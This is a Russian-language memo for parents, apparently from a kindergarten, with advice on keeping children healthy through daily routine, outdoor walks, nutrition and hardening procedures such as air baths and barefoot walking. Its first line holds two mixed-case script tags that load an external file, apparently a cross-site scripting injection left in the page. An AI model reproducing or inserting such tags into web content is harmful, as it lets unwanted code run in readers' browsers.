<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Памятка для родителей
«Здоровье ребенка в наших руках»
Одной из ведущих задач является сохранение и укрепление здоровья воспитанников. Ведь здоровье человека – проблема достаточно актуальная для всех времен и
народов, а в настоящее время она становится первостепенной.
Здоровье сберегающие технологии наиболее значимы среди всех известных технологий по
степени влияния на здоровье детей. Они направлены на решение самой главной
задачи - сохранить, поддержать и обогатить здоровье воспитанников.
Применение на практике здоровье сберегающих технологий повышает
результативность воспитательного процесса направленные на сохранение и укрепление здоровья детей.
Как же помочь ребенку вырасти здоровым?
Прежде всего, необходимо активно использовать целебные природные факторы окружающей среды: чистую воду, солнце, чистый воздух, фитонцидные свойства растений.
Ребенку необходим спокойный, доброжелательный климат. Перебранка в присутствии ребенка способствует возникновению у него невроза, что снижает защитные возможности детского организма.
Организованный режим дня: режим дисциплинирует детей, способствует формированию полезных привычек, приучает их к определенному ритму.
Прогулка - повышает сопротивляемость организма, закаливает
его. Прогулка должна проводиться в любую погоду, за исключением
особо неблагоприятных условий. При этом одежда и обувь должны соответствовать
погоде и всем гигиеническим требованиям. Во время прогулки нельзя допускать,
что бы дети длительное время находились в одной позе, поэтому необходимо
изменять их вид деятельности и место игры. Хорошо сочетать прогулки со
спортивными и подвижными играми.
Полноценное питание: Важен режим питания - соблюдение определенных
интервалов между приемами пищи.
Для укрепления здоровья эффективны ходьба и бег, которые предохраняют организм
человека от возникновения болезней и способствуют закаливанию организма.
Закаливание имеет
значение для ребенка - воздушные ванны, водные ножные
процедуры, полоскание горла
- хождение босиком (при хождении босиком
увеличивается интенсивность деятельности почти всех мышц, стимулируется
кровообращение в организме, улучшается умственная деятельность)
-полоскание горла прохладной водой со снижением её температуры – метод профилактики
заболевания носоглотки.
Если вы хотите видеть своего ребенка здоровым – надо ежедневно проводить
закаливающие процедуры. Минимальное закаливание – воздушные и водные процедуры,
правильно подобранная одежда.
Желайте себе и окружающим вас людям только добра! «Здоровье – не всё, но всё без
здоровья – ничто» (древнегреческий философ Сократ).
Помни
– здоровье не всё, но все без здоровья – ничто!
Здоровье нужно не только тебе, но и людям,
которых ты обязан защищать и помогать.
Здоровье – это любовь и бережное отношение
к природе.